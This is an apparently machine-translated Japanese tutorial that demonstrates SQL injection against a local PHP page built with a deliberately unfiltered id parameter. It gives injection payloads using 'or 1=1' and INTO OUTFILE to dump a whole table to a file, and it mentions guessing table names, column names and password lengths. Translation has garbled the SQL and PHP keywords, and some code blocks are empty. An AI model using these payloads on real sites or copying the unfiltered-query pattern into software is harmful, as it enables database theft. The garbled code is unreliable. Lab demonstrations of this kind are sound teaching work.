この記事では、私自身の経験の一部を使用して、ハッカーの友人がデータベースの SQL 脆弱性をどのように利用してデータベースをダウンロードするかを説明します。必要に応じて、この記事を参照してください。
データベースにテーブルを作成します:
コードは次のとおりです | コードをコピー |
テーブル「記事」を作成 ( `articleid` int(11) NOT NULL AUTO_INCREMENT, `title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '', `content` テキスト CHARACTER SET utf8 NOT NULL, 主キー (`articleid`) ) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1; |
テーブルにデータを挿入するためのコードは投稿しません。ダウンロードしてデータベースに直接インポートできます。
次に、ユーザーのリクエストを処理するページを作成します。ここでは、ユーザーが送信したデータを意図的にフィルターせず、テスト用に SQL インジェクションの脆弱性を残します。
コードは次のとおりです:
コードは次のとおりです | コードをコピー |
$servername = "ローカルホスト"; $dbusername = "root"; $dbpassword = ""; $dbname = "テスト"; $id=$_GET['id'];//id はフィルタリングされていません $conn=mysql_connect($servername,$dbusername,$dbpassword) or die ("データベース接続に失敗しました"); mysql_select_db($dbname,$conn); mysql_query('set names utf8'); $sql = "SELECT * FROM 記事 WHERE 記事 ID='$id'"; $result = mysql_query($sql,$conn); $row = mysql_fetch_array($result); echo " SQL インジェクションの脆弱性を使用してライブラリをドラッグします "; if (!$row){ 「レコードは存在しません」をエコーします。 終了; } echo "title "; echo "コンテンツ "; ?> |
ブラウザに直接入力します:
コードは次のとおりです | コードをコピー |
http://127.0.0.1/marcofly/phpstudy/sqlinsert/showart.php?id=1 |
記事テーブルのID 1のレコードにアクセスできます
訪問結果は以下の通りです:
次に、この脆弱性を使用して (脆弱性がわからない場合は、ツール + 手動検出のみを使用できます)、記事テーブルをダウンロードする方法を示します。
アドレスバーに次のように入力します:
コードは次のとおりです | コードをコピー |
」を出力ファイル「e:/sql.txt」%23 |
分析: %23 は # の ASCII コードです。アドレス バーに # を直接入力するとデータベース システムでは空になるため、アドレス バーに %23 を入力して # になり、コメントアウトする必要があります。次の SQL ステートメント。
実行後、Eドライブを開き、追加のsql.txtファイルを見つけます。それを開くと、テーブル記事にレコードがあります。
レコードが 1 つしかないのはなぜですか?このデータテーブルにはレコードが 1 つだけありますか?これは当てはまりません。ID 1 のレコードを 1 つだけ取得するので、記事テーブル内のすべてのレコードを一度にダウンロードできますか?
構築された SQL ステートメントが十分に柔軟である限り、答えは「はい」です (ここでも、構築された SQL ステートメントの柔軟性が取り上げられます)。
分析すると、URL アドレス バーに「into outfile 'e:/sql.txt'%23」と入力すると、SQL クエリ ステートメントにマージされ、次のようになります。
コードは次のとおりです | コードをコピー |
|
慎重に分析した後、次のような SQL ステートメントを構築できます:
コードは次のとおりです | コードをコピー |
SELECT * FROMarticle WHERE、articleid='' または 1=1 を出力ファイル 'e:/whf.txt'#' に入力します |
この場合、WHERE 句は何があっても常に true になります。つまり、SQL ステートメントは次と同等です。
コードをコピー | |
信じられないなら、やってみてください...
SQLインジェクションの脆弱性を利用して、テーブル名、カラム名、ユーザーパスワードの長さ(LEFT関数)などを推測することができます。もちろん、上記のデモのようにテーブル内のすべてのデータを直接エクスポートできれば、その必要はありません。テーブル名、列名など